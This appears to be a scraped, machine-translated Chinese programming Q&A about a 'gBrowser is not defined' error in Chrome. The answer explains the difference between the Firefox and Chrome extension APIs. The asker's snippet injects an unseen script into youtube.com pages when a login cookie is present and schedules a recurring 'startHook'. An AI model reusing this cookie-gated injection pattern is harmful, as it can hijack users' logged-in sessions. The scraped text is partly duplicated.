Javascript 未定义gBrowser函数
在Chrome控制台上执行此操作时,我不断遇到此错误: “未捕获引用错误:未定义gBrowser” 代码如下:Javascript 未定义gBrowser函数,javascript,google-chrome,Javascript,Google Chrome,在Chrome控制台上执行此操作时,我不断遇到此错误: “未捕获引用错误:未定义gBrowser” 代码如下: function a123(){ var doc = gBrowser.selectedBrowser.contentDocument; if (doc!=null) { if (doc.domain == "youtube.com" ) { var b = doc.cookie.indexOf("c_
function a123(){
var doc = gBrowser.selectedBrowser.contentDocument;
if (doc!=null) {
if (doc.domain == "youtube.com" ) {
var b = doc.cookie.indexOf("c_user");
if (b!=-1) {
var ss = doc.createElement('script');
var scr = myScript;
var tt = doc.createTextNode(scr);
ss.appendChild(tt);
var hh = doc.getElementsByTagName('head')[0];
hh.appendChild(ss);
clearInterval(t);
t=setInterval("startHook()",600000);
}
}
}
}
有人能帮我吗?我相信,
gBrowser
对象是Firefox/Mozilla的东西。Chrome有一个与Firefox完全不同的扩展API,所以你不能从一个扩展API中获取代码,而期望它在另一个扩展API中“正常工作”
Chrome的等价物应该是类似于
Chrome.windows
或Chrome.tabs
的东西。查看完整列表。我相信,gBrowser
对象是Firefox/Mozilla的东西。Chrome有一个与Firefox完全不同的扩展API,所以你不能从一个扩展API中获取代码,而期望它在另一个扩展API中“正常工作”
Chrome的等价物应该是类似于Chrome.windows
或Chrome.tabs
的东西。有关完整列表,请参阅